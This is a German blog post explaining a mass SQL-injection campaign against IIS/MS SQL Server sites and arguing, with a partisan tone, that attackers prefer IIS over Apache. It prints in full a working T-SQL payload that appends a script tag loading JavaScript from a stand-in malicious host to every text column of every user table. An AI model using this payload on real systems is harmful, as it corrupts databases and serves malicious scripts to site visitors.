daily.out

2012-01-07 Microsoft-Webserver sind nur bei Angreifern beliebt

Offenbar sind über eine Million IIS-Websites durch SQL-Injection kompromittiert worden in letzter Zeit. Webseiten mit Apache und MySQL blieben verschont. Woran mag das liegen?

Es gibt ja Leute, die behaupten, es würde immer nur der Marktführer angegriffen, weil sich kleinere Populationen nicht lohnen würden. Hier wurde jedoch der Marktführer (Apache) verschont und die ganze kriminelle Energie auf eine Randgruppe, den Microsoft Internet Information Server konzentriert. Warum?

Wie man sieht, liegt Apache bei circa 65%, während der IIS unter 15% herumdümpelt mit fallender Tendenz. Der Microsoft-Webserver ist also nicht gerade der Burner, wenn man den dicken Fisch an Land ziehen will.

Marktanteile Webserver

Die SQL-Injection

Der Angriff besteht aus einem bösartig aufgebauten Parameter für eine Datenbankabfrage in der URL für eine verwundbare Active-Server-Page (ASP), die der Microsoft-Weg für dynamische Webseiten ist. Dynamische Webseiten haben typischerweise eine Datenbank, die im Microsoft-Fall der Microsoft SQL Server ist. Der hier eingeschleuste SQL-Befehl taucht seit vielen Jahren immer wieder in Varianten auf gegen die IIS / SQL Server-Kombo. Letztendlich sieht die manchmal auch als "encoded varbinary string" codierte SQL ungefähr so aus:

DECLARE @T VARCHAR(255), @C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id=b.id
AND a.xtype='u'
AND (b.xtype = 99 OR b.xtype = 35 OR b.xtype = 231 OR b.xtype = 167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T, @C
WHILE (@@FETCH_STATUS = 0)
BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+'] = RTRIM(CONVERT(VARCHAR(4000), ['+@C+'])) + ''<script src=http://www.boese-webseite.de/boeses.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T, @C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

Was macht dieses SQL? Es schreibt eine Referenz auf ein JavaScript, das auf einer bösen Webseite liegt, in alle Text-Spalten aller User-Tabellen. Manchmal wird die URL zu dem Skript auch nochmal encodiert und in einem zweiten Angriffsschritt erst umgewandelt. Die manipulierte Textfelder der Datenbank werden in den Webseiten weiterhin verwendet.

Mit xtype werden vier Arten von Text-Spalten definiert, die der Angreifer finden möchte (syscolumns.xtype = 99, 35, 231, 167 für ntext, text, nvarchar und varchar) und auch, daß es nur User-Tabellen (sysobjects.xtype = u) sein sollen. Die Infos, welche Tabellen und Spalten passen, liefern seit ewigen Zeiten die System-Tables (sysobjects und syscolumns) des Microsoft SQL Servers. Das hat sich zwar intern im Laufe der Zeit etwas geändert, aber es funktioniert über alle Version von Microsofts SQL Server. Der Angreifer kommt daher sehr komfortabel an die nötigen Metadaten.

Komfortablere Injection

Warum machen die Angreifer nicht etwas Vergleichbares mit Apache und MySQL?

Um an die nötigen Metadaten zu kommen, welche Tabellen und Spalten es in der Datenbank gibt, braucht man das information_schema, was es erst seit MySQL 5 gibt.

Die SQL-Injection ist also mit dem MS SQL Server, der hinter dem IIS werkelt, verläßlicher.

50% mehr Angriffe auf IIS

Eine Studie beobachtete, daß Angreifer anscheinend Apache und Unix-Server vermeiden. Die Anzahl der Angriffe auf Apache erhöhte sich nämlich um 50%, wenn man die Host-Header, an denen man ihn leicht erkennen kann, abstellte. Sie lag dann auf dem Niveau vom IIS. Der IIS wurde hingegen gleichmäßig angegriffen ob mit oder ohne Host-Header. Angreifer behandeln unbekannte Webserver offenbar als IIS, heißt es weiter.

Auf jeden Fall ist der fast 4.5-fach so große Marktanteil des Apache offenbar keine Motivation, ihn bevorzugt anzugreifen. Stattdessen muß man als IIS-User damit rechnen, jeden Tag 50% mehr Angriffe abzubekommen als der Kollege mit dem Apache-Webserver.

Valid XHTML 1.0!

Besucherzähler


Latest Update: 11. September 2015 at 19:49h (german time)
Link: macmark.de/blog/osx_blog_2012-01-b.php